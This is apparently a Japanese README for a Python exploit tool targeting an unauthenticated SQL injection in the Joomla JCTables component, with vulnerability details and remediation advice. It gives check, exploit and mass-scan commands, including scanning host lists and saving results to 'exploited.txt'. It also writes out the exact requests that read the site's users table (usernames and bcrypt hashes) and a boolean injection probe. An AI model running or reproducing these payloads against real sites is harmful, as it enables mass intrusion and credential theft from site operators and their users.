
CVE-2026-76570 の Python PoC: Joomla JCTables (com_jctables) フロントエンド JSON API における未認証 SQL インジェクション。check、exploit、mass-scan モードを備えています。
CVE-2026-76570 のPython 3 PoC — Joomcode JCTables — フロントエンドのJSON CRUD API (getdatarow、getrow、…) における未認証SQLインジェクション。
| CVE.org | https://www.cve.org/CVERecord?id=CVE-2026-76570 (公開済み 2026-09-30) |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-76570 |
| CNA | Joomla! Project |
| コンポーネント | com_jctables |
| 影響範囲 | 1.0.0 – 1.20.0 (ラボ: ≤ 1.10.31.2 で確認済み) |
| 修正 | ≥ 1.21.1 (2026-08-05) |
| CWE | CWE-89、CWE-862 |
| CVSS 4.0 | 10.0 Critical — AT:N (特別な管理者設定は不要) |
| 分析 | VulnCheck — JCTables SQL R/W → RCE chain |
フロントエンドコントローラのタスクにはトークン / ACLがありません。リクエストから取得したテーブル名とカラム名がSQLに連結され、ladb_escape() は引用符で囲まれた値を「エスケープ済み」として扱います。getdatarow は任意のDBテーブル (例: {prefix}users) を読み取ることができます。このPoCは読み取りを実証するもの (ユーザー名 / bcryptハッシュ行) であり、管理者ログイン / プラグインRCEチェーン全体を実行するものではありません。
成功マーカー: POCBIT-76570-OK (JSON証明メタデータ内)。
pip install requests urllib3 coloramacd CVE-2026-76570
python poc.py # interactive
python poc.py hits.txt # mass exploit → exploited.txt
python poc.py --check fofa_hosts.txt # mass scan → hits.txt
python poc.py -u https://site.tld
python poc.py -u URL --prefix jos_ # if you know DB prefix
python poc.py --lab
python poc.py --help
python _engine.py --help
| ステップ | リクエスト |
|---|---|
| 行の読み取り | GET index.php?option=com_jctables&format=json&task=getdatarow&tn={prefix}users&idx=id&rid=1 |
| ブールプローブ | GET …&task=getrow&mid=N&tid=T&idx='' OR (1=1) OR '' |
JCTables を 1.21.1+ にアップグレードするか、コンポーネントを削除してください。
許可されたセキュリティテストにのみ使用してください。